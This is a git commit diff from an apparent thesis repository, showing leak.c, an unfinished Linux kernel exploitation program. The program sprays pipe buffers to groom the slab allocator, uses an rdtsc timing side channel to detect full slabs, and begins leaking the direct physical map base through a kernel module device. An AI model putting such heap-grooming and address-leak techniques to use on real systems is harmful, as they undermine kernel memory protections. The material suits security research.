mira/thesis
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

structure and errors, starting dpm leak

Browse source
This commit is contained in:
twoneis 2025-04-28 20:49:06 +02:00
parent 20f27c7a9f
commit ff990329f6
1 changed files with 34 additions and 11 deletions
Download patch file Download diff file Expand all files Collapse all files

45
code/leak.c
View file

@ -36,7 +36,7 @@ error(char *origin)
printf("%s: ENFILE\n", origin);
break;
default:
printf("%s: unknown\n", origin);
printf("%s: %i: unknown\n", origin, errno);
}
exit(-1);
}
@ -67,7 +67,6 @@ int
main(void)
{
printf("main: start\n");
FILE *device = fopen(LKM_DEVICE, "r+");
printf("main: spray to reduce TLB noise part 1: %u objects\n",
SPRAY / 2);
@ -84,6 +83,7 @@ main(void)
}
// May need socket and two parts instead
FILE *device = fopen(LKM_DEVICE, "r+");
printf("main: fopen: %p\n", device);
if (!device) {
printf(
@ -97,14 +97,21 @@ main(void)
size_t t_delta;
size_t t_prev = -1;
size_t last_slab = -1;
int found = 0;
for (size_t i = SPRAY / 2; i < SPRAY; i++) {
pipe2(spray[i], O_NONBLOCK);
if (pipe2(spray[i], O_NONBLOCK) < 0) {
error("main: spray two: pipe2");
}
size_t t0 = rdtsc_begin();
fcntl(spray[i][0], F_SETPIPE_SZ, 8192);
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
error("main: spray two: fcntl");
}
size_t t1 = rdtsc_end();
write(spray[i][1], buffer, 8);
if (write(spray[i][1], buffer, 8) < 0) {
error("main: spray two: write");
}
t_delta = t0 - t1;
@ -112,7 +119,9 @@ main(void)
if (last_slab == (size_t)-1) {
last_slab = i;
} else if (i - last_slab == OBJS_PER_SLAB) {
printf("Exit from sidechannel\n");
printf(
"main: spray two: two full slabs detected\n");
found = 1;
break;
} else {
last_slab = -1;
@ -122,13 +131,27 @@ main(void)
t_prev = t_delta;
}
for (size_t i = 0; i < PIPES; i++) {
// Pipe buffer allocation primitive
pipe2(pipes[i], O_NONBLOCK);
fcntl(pipes[i][0], F_SETPIPE_SZ, 8192);
write(pipes[i][1], buffer, 8);
if (!found) {
printf(
"main: reached end of spray without detecting two full slabs");
exit(-1);
}
printf("main: pipe allocation primitive: %i\n", PIPES);
for (size_t i = 0; i < PIPES; i++) {
if (pipe2(spray[i], O_NONBLOCK) < 0) {
error("main: spray one: pipe2");
}
if (fcntl(spray[i][0], F_SETPIPE_SZ, 8192) < 0) {
error("main: spray one: fcntl");
}
if (write(spray[i][1], buffer, 8) < 0) {
error("main: spray one: write");
}
}
size_t dpm_base;
fclose(device);
printf("main: done\n");
}